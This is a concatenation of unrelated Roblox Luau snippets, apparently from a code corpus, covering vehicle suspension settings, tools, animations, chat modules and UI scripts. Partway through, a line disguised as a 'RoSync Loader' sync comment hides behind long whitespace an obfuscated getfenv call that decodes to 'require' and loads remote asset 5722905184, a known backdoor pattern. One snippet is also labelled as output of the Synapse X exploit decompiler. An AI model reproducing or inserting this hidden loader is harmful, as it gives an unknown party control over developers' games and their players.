Roblox/luau_corpus huggingface dataset:
--[[Susupension]]
	Tune.SusEnabled		= false		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
	
	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 4500		-- Spring Force
	Tune.FSusLength		= 1			-- Suspension length (in studs)
	Tune.FSusMaxExt		= .3		-- Max Extension Travel (in studs)
	Tune.FSusMaxComp	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 4500		-- Spring Force
	Tune.RSusLength		= 1			-- Suspension length (in studs)
	Tune.RSusMaxExt		= .3		-- Max Extension Travel (in studs)
	Tune.RSusMaxComp	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics	
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
--[[
	Create a TestSession related to the given TestPlan.

	The resulting TestResults object will be linked to this TestPlan.
]]
function TestSession.new(plan)
	local self = {
		results = TestResults.new(plan),
		nodeStack = {},
		contextStack = {},
		hasFocusNodes = false
	}

	setmetatable(self, TestSession)

	return self
end
-------------------------------
--Events
-------------------------------
PARENTMODEL.Button.ClickDetector.MouseClick:connect(function(plr)
	MoveGate()
end)
--- Returns a new ArgumentContext, an object that handles parsing and validating arguments
function Argument.new (command, argumentObject, value)
	local self = {
		Command = command; -- The command that owns this argument
		Type = nil; -- The type definition
		Name = argumentObject.Name; -- The name for this specific argument
		Object = argumentObject; -- The raw ArgumentObject (definition)
		Required = argumentObject.Default == nil and argumentObject.Optional ~= true; -- If the argument is required or not.
		Executor = command.Executor; -- The player who is running the command
		RawValue = value; -- The raw, unparsed value
		RawSegments = {}; -- The raw, unparsed segments (if the raw value was comma-sep)
		TransformedValues = {}; -- The transformed value (generated later)
		Prefix = ""; -- The prefix for this command (%Team)
		TextSegmentInProgress = ""; -- The text of the raw segment the user is currently typing.
		RawSegmentsAreAutocomplete = false;
	}

	if type(argumentObject.Type) == "table" then
		self.Type = argumentObject.Type
	else
		local parsedType, parsedRawValue, prefix = Util.ParsePrefixedUnionType(
			command.Cmdr.Registry:GetTypeName(argumentObject.Type),
			value
		)

		self.Type = command.Dispatcher.Registry:GetType(parsedType)
		self.RawValue = parsedRawValue
		self.Prefix = prefix

		if self.Type == nil then
			error(string.format("%s has an unregistered type %q", self.Name or "<none>", parsedType or "<none>"))
		end
	end

	setmetatable(self, Argument)

	self:Transform()

	return self
end

function Argument:GetDefaultAutocomplete()
	if self.Type.Autocomplete then
		local transformedEmpty = self:TransformSegment("")
		local strings, options = self.Type.Autocomplete(transformedEmpty)

		return strings, options or {}
	end

	return {}
end
-- Shovel - Client Controls @ JDLENL 3/22/20
-- If you use this in your game, consider mentioning me in the description! I'd appreciate it.

local Tool = script.Parent
local Player = game.Players.LocalPlayer
local Mouse = Player:GetMouse()
local UIS = game:GetService("UserInputService")
local Handle = Tool:WaitForChild("Handle")
local CanPlace = Handle:WaitForChild"AllowPlacement"
local GUI

Tool:WaitForChild("RemoteFunction").OnClientInvoke = function(...)
	return Mouse.Target,Mouse.Hit.p
end

local _C

Tool.Equipped:Connect(function()
	_C = UIS.InputBegan:Connect(function(Input,GPE)
		if GPE then return end
		if not CanPlace.Value then return end
		if Input.UserInputType == Enum.UserInputType.Keyboard then
			if Input.KeyCode == Enum.KeyCode.E then
				Tool:WaitForChild("RemoteEvent"):FireServer(Mouse.Target,Mouse.Hit.p)
			end
		end
	end)
end)

Tool.Unequipped:Connect(function()
	if not CanPlace.Value then return end
	_C:Disconnect()
	_C = nil
end)

Tool:WaitForChild("RemoteEvent").OnClientEvent:Connect(function(Gui,SoilCount)
	GUI = Gui
	if SoilCount then
		GUI.TextLabel.Text = "Soil: "..SoilCount
	end
end)
-- (Hat Giver Script - Loaded.)

debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(2, 0.8, 2) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentForward = Vector3.new (-0, -0.0995, -0.995)
		h.AttachmentPos = Vector3.new(0, -0.25, 0)
		h.AttachmentRight = Vector3.new (1, 0, 0)
		h.AttachmentUp = Vector3.new (0, 0.995, -0.0995)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)
--//Shifting//-
if key == "1" then
		 carSeat.Wheels.FR.Spring.Stiffness = 5000
 		 carSeat.Wheels.FL.Spring.Stiffness = 5000
		 carSeat.Wheels.RR.Spring.Stiffness = 4600
		 carSeat.Wheels.RL.Spring.Stiffness = 4600
elseif key == "2" then		 
	carSeat.Wheels.FR.Spring.Stiffness = 18000
	carSeat.Wheels.FL.Spring.Stiffness = 18000
	carSeat.Wheels.RR.Spring.Stiffness = 18000
	carSeat.Wheels.RL.Spring.Stiffness = 18000
	end
end)
--[[ Last synced 11/11/2020 02:22                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--[=[
	If the brio is not dead, will return the values unpacked from the brio.

	:::info
	Calling this while the brio is already dead will throw a error. Values should
	not be used past the lifetime of the brio, and can be considered invalid.
	:::

	```lua
	local brio = Brio.new("a", 1, 2)
	print(brio:GetValue()) --> "a" 1 2
	brio:Kill()

	print(brio:GetValue()) --> ERROR: Brio is dead
	```

	@return any
]=]
function Brio:GetValue()
	assert(self._values, "Brio is dead")

	return unpack(self._values, 1, self._values.n)
end
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
v1.__index = v1;
function v1.new()
	local v2 = setmetatable({}, v1);
	v2.cameras = require(script:WaitForChild("CameraModule"));
	v2.controls = require(script:WaitForChild("ControlModule"));
	return v2;
end;
function v1.GetCameras(p1)
	return p1.cameras;
end;
function v1.GetControls(p2)
	return p2.controls;
end;
function v1.GetClickToMoveController(p3)
	return p3.controls:GetClickToMoveController();
end;
return v1.new();
--[[**
	<description>
	Sets the cached result to the value provided
	</description>

	<parameter name = "value">
	The value
	</parameter>
**--]]
function DataStore:Set(value, _dontCallOnUpdate)
	self.value = clone(value)
	self:_Update(_dontCallOnUpdate)
end
-- Libraries
local Roact = require(Vendor:WaitForChild('Roact'))
local Maid = require(Libraries:WaitForChild('Maid'))
--// Damage Settings	
	BaseDamage = 34; -- Torso Damage
	LimbDamage = 22; -- Arms and Legs
	ArmorDamage = 11; -- How much damage is dealt against armor (Name the armor "Armor")
	HeadDamage = 2000; -- If you set this to 100, there's a chance the player won't die because of the heal script
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}

math.randomseed(tick())

function findExistingAnimationInSet(set, anim)
	if set == nil or anim == nil then
		return 0
	end
	
	for idx = 1, set.count, 1 do 
		if set[idx].anim.AnimationId == anim.AnimationId then
			return idx
		end
	end
	
	return 0
end

function configureAnimationSet(name, fileList)
	if (animTable[name] ~= nil) then
		for _, connection in pairs(animTable[name].connections) do
			connection:disconnect()
		end
	end
	animTable[name] = {}
	animTable[name].count = 0
	animTable[name].totalWeight = 0	
	animTable[name].connections = {}

	local allowCustomAnimations = true

	--local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
	--if not success then
	--	allowCustomAnimations = true
	--end

	-- check for config values
	local config = script:FindFirstChild(name)
	if (allowCustomAnimations and config ~= nil) then
		table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
		table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
		
		local idx = 0
		for _, childPart in pairs(config:GetChildren()) do
			if (childPart:IsA("Animation")) then
				local newWeight = 1
				local weightObject = childPart:FindFirstChild("Weight")
				if (weightObject ~= nil) then
					newWeight = weightObject.Value
				end
				animTable[name].count = animTable[name].count + 1
				idx = animTable[name].count
				animTable[name][idx] = {}
				animTable[name][idx].anim = childPart
				animTable[name][idx].weight = newWeight
				animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
				table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
				table.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end))
				table.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end))
			end
		end
	end
	
	-- fallback to defaults
	if (animTable[name].count <= 0) then
		for idx, anim in pairs(fileList) do
			animTable[name][idx] = {}
			animTable[name][idx].anim = Instance.new("Animation")
			animTable[name][idx].anim.Name = name
			animTable[name][idx].anim.AnimationId = anim.id
			animTable[name][idx].weight = anim.weight
			animTable[name].count = animTable[name].count + 1
			animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
		end
	end
	
	-- preload anims
	for i, animType in pairs(animTable) do
		for idx = 1, animType.count, 1 do
			if PreloadedAnims[animType[idx].anim.AnimationId] == nil then
				Humanoid:LoadAnimation(animType[idx].anim)
				PreloadedAnims[animType[idx].anim.AnimationId] = true
			end				
		end
	end
end
--[[for _,v in pairs(TaggedHumanoids) do
	if v and v.Health > 0 then
		UntagHumanoid(v)
		TagHumanoid(v, Creator)
		v:TakeDamage(Properties.LinkDamage * Total) --Let em' have it!!
	end
end]]
for i=1,#Events,1 do
	if Events[i] then
		Events[i]:Disconnect()
	end
end


for i=1, #Queue, 1 do
	if Queue[i] and Queue[i].Health > 0 then
		UntagHumanoid(Queue[i])
		TagHumanoid(Queue[i], Creator)
		Queue[i]:TakeDamage(Properties.LinkDamage * Total) --Let em' have it!!
		if Queue[i].Health <= 0 then -- Make em disappear!
			for _,v in pairs(GetDescendants(Queue[i].Parent)) do
				pcall(function()
					v.Transparency = 1
				end)
				pcall(function()
					v.Anchored = true
					Deletables[#Deletables+1] = v
					v.Parent = workspace
					v.CanCollide = false
				end)
			end
		end
		pcall(function()
			SparkleQueue[i].Enabled = false	
			SparkleQueue[i].Speed = NumberRange.new(10, 20)
			SparkleQueue[i]:Emit(75)
		end)
		pcall(function()
			Sounds[i]:Play()
		end)
		pcall(function()
			AttachQueue[i]["Constellation_Beam"].Enabled = false
		end)
		wait(.25)
	end
end
--//
-- Confetti Cannon by Richard, Onogork 2018.
--//
-- Services.
local RunService = game:GetService('RunService')
local svcWorkspace = game:GetService("Workspace");
local Camera = svcWorkspace.CurrentCamera;
-- simple if statements, decides where the Tool will spawn 
-- depending on the generated number.
if BlockPosition == 1 then
	Block.CFrame = Pos1
end

if BlockPosition == 2 then
	Block.CFrame = Pos2
end
-- The argument must be an integer:
function fix(num)
	num = tostring(num)
	num = (num:reverse())
	local newNum = ""
	for i = 1,#num do
		if ((i%3) == 0) then	-- Modulo trick to determine if a number is divisible by 3
			newNum = (newNum .. num:sub(i,i) .. ",")
		else
			newNum = (newNum .. num:sub(i,i))
		end
	end
	newNum = newNum:reverse()
	if (newNum:sub(1,1) == ",") then
		newNum = newNum:sub(2)	-- Quick-fix to correct a mistake in the loop above
	end
	return newNum	-- Returns a string, NOT a number!
end

function count()
	if (active) then
		awaiting = (awaiting+1)
		return
	end
	active = true
	wait()	-- When using 'DescendantRemoving,' the brick removing isn't always gone by the time the function is called, so this gives it some time to be removed
	baseParts = {}	-- Clear table
	local function scan(parent)
		for _,v in pairs(parent:GetChildren()) do	-- Easiest way to get all parts is to quickly scan through with loops
			if (v:IsA("BasePart")) then
				table.insert(baseParts,v)
			end
			if (((#baseParts%1000) == 0) and (#baseParts ~= 0)) then	-- Add in a quick wait every 1k bricks to stop an unneccessary lag-attack
				wait()
			end
			scan(v)
		end
	end
	scan(game.Workspace)
	local n = #baseParts
	script.Parent.Count.Text = (fix(n) .. (n == 1 and " Brick" or " Bricks"))	-- Not many people realize what you can do with 'and' and 'or'
	for i = 1,awaiting do
		count()
	end
	awaiting = 0
	active = false
end

function setup()	-- Yes, I add pointless functions to capture events. It feels more organized
	count()
	game.Workspace.DescendantAdded:connect(count)
	game.Workspace.DescendantRemoving:connect(count)
end

setup()
-- int rd_int_be(string src, int s, int e)
-- @src - Source binary string
-- @s - Start index of a big endian integer
-- @e - End index of the integer
local function rd_int_be(src, s, e) return rd_int_basic(src, e - 1, s, -1) end
-- Roblox character sound script

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")

local SOUND_DATA = {
	Climbing = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
	},
	Died = {
		SoundId = "rbxasset://sounds/uuhhh.mp3",
	},
	FreeFalling = {
		SoundId = "rbxasset://sounds/action_falling.mp3",
		Looped = true,
	},
	GettingUp = {
		SoundId = "rbxasset://sounds/action_get_up.mp3",
	},
	Jumping = {
		SoundId = "rbxasset://sounds/action_jump.mp3",
	},
	Landing = {
		SoundId = "rbxasset://sounds/action_jump_land.mp3",
	},
	Running = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
		Pitch = 1.85,
	},
	Splash = {
		SoundId = "rbxasset://sounds/impact_water.mp3",
	},
	Swimming = {
		SoundId = "rbxasset://sounds/action_swim.mp3",
		Looped = true,
		Pitch = 1.6,
	},
}

 -- wait for the first of the passed signals to fire
local function waitForFirst(...)
	local shunt = Instance.new("BindableEvent")
	local slots = {...}

	local function fire(...)
		for i = 1, #slots do
			slots[i]:Disconnect()
		end

		return shunt:Fire(...)
	end

	for i = 1, #slots do
		slots[i] = slots[i]:Connect(fire)
	end

	return shunt.Event:Wait()
end
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.BMessages
local opened = aFinderButton.Opened
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
local msgbar = window.MesgBar
--{{ Reapeats to make the script look better }}--

local button = script.Parent
----  \/Traffic\/
model = script.Parent
wait(0.5)
currentP = "Off"
script.Parent.Events.Traffic.OnServerEvent:Connect( function(player, pattern)
	if script.Parent.Values.Traffic.Value == 0 then
		script.Parent.Values.Traffic.Value = 1
	elseif script.Parent.Values.Traffic.Value == 1 then
		script.Parent.Values.Traffic.Value = 2
	elseif script.Parent.Values.Traffic.Value == 2 then
		script.Parent.Values.Traffic.Value = 3
	elseif script.Parent.Values.Traffic.Value == 3 then
		script.Parent.Values.Traffic.Value = 4
	elseif script.Parent.Values.Traffic.Value == 4 then
		script.Parent.Values.Traffic.Value = 0
	end
end)
-- services

local UserInputService	= game:GetService("UserInputService")
local ReplicatedStorage	= game:GetService("ReplicatedStorage")
local RunService		= game:GetService("RunService")
local Players			= game:GetService("Players")
--- Sets the handler for a certain event type
function Cmdr:HandleEvent(name, callback)
	self.Events[name] = callback
end
---Semi Settings---		
			if Settings.Mode == "Semi" and Settings.FireModes.Burst == true then
				Gui.FText.Text = "Burst"
				Settings.Mode = "Burst"
			elseif Settings.Mode == "Semi" and Settings.FireModes.Burst == false and Settings.FireModes.Auto == true then
				Gui.FText.Text = "Auto"
				Settings.Mode = "Auto"
			elseif Settings.Mode == "Semi" and Settings.FireModes.Burst == false and Settings.FireModes.Auto == false and Settings.FireModes.Explosive == true then
				Gui.FText.Text = "Explosive"
				Settings.Mode = "Explosive"
--- Calls self:FlushAutoExecBuffer at the end of the frame
function Registry:FlushAutoExecBufferDeferred()
	if self.AutoExecFlushConnection then
		return
	end

	self.AutoExecFlushConnection = RunService.Heartbeat:Connect(function()
		self.AutoExecFlushConnection:Disconnect()
		self.AutoExecFlushConnection = nil
		self:FlushAutoExecBuffer()
	end)
end
-- you don't have to change these if you chose auto setup
-- put these to true if you have these plugins in your car, otherwise leave them as false

smoke = false
backfire = false
horn = false
brakewhistle = false
ignition = false
audioname = "Start" -- the name of your startup audio (defaults as "Start") (only works with ignition on)
------------------------------------------------------------------------------------
local WaitTime = 1	-- Change this to the amount of time it takes for the button to re-enable.
local modelname = "Air Raid Extreme"	-- If your model is not named this, then make the purple words the same name as the model!
-- anon Image ID http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid=4823036
local GameData = {}

for _, Script in next, script:GetDescendants() do
	if Script:IsA("ModuleScript") then
		for Key, Data in next, require(Script) do
			GameData[Key] = Data
		end
	end
end

return GameData
--<Local Functions>--

local function CreateSound(soundID, volume, parent)
	local sound = Instance.new("Sound", parent);
	sound.Volume = 0;
	sound.Name = "_PlayOnTouchedSound";
	sound.SoundId = "rbxassetid://".. soundID;
	sound.Looped = true;
	
	sound:Play()
	
	repeat
		sound.Volume = sound.Volume + .1;
		wait(.1);
	until
		sound.Volume >= volume;
end;
-- @outline // RUNNERS

function Ping.Update()
	if tick() - LastUpdate < REQUEST_INTERVAL then return end
	
	LastUpdate = tick()
	for _,v in pairs(game.Players:GetChildren()) do
		Ping.UpdatePlayer(v)
	end
end

function Ping.Init()
	System.Remotes.ConnectEvent("Ping", function(plr, Code)
		if type(Code) ~= "number" or not Pool[plr] or Pool[plr].Code == -1 or Pool[plr].Code ~= Code then return end
		
		Pool[plr].Value = tick() - Pool[plr].Time
		Pool[plr].Code = -1
	end)
	
	game.Players.PlayerAdded:Connect(function(plr)
		Pool[plr] = {
			Code = -1,
			Value = 0,
			Time = tick()
		}
	end)
	
	game.Players.PlayerRemoving:Connect(function(plr)
		Pool[plr] = nil
	end)
end

function Ping.ClientInit()
	Pool[game.Players.LocalPlayer] = {Value = 0}
	System.Remotes.ConnectEvent("Ping", function(tbl)
		Pool[game.Players.LocalPlayer] = {Value = tbl.Value}
		
		System.Remotes.FireServer("Ping", tbl.Code)
	end)
end

return Ping
--If necessary change the last word to:
	--Signal1
	--Signal1a
	--Signal2
	--Signal2a
-- Left Legs
character.Constraint.ConstraintLeftUpperLeg.Attachment0 = LUL
character.Constraint.ConstraintLeftUpperLeg.Attachment1 = LULRig
character.Constraint.ConstraintLeftLowerLeg.Attachment0 = LLL
character.Constraint.ConstraintLeftLowerLeg.Attachment1 = LLLRig
character.Constraint.ConstraintLeftFoot.Attachment0 = LF
character.Constraint.ConstraintLeftFoot.Attachment1 = LFRig
--////////////////////////////// Include
--//////////////////////////////////////
local Chat = game:GetService("Chat")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local modulesFolder = script.Parent
local moduleChatChannel = require(modulesFolder:WaitForChild("ChatChannel"))
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil"))
--------LEFT DOOR --------
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(106)

game.Workspace.doorleft.l21.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(21)

game.Workspace.doorleft.l31.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(133)

game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(106)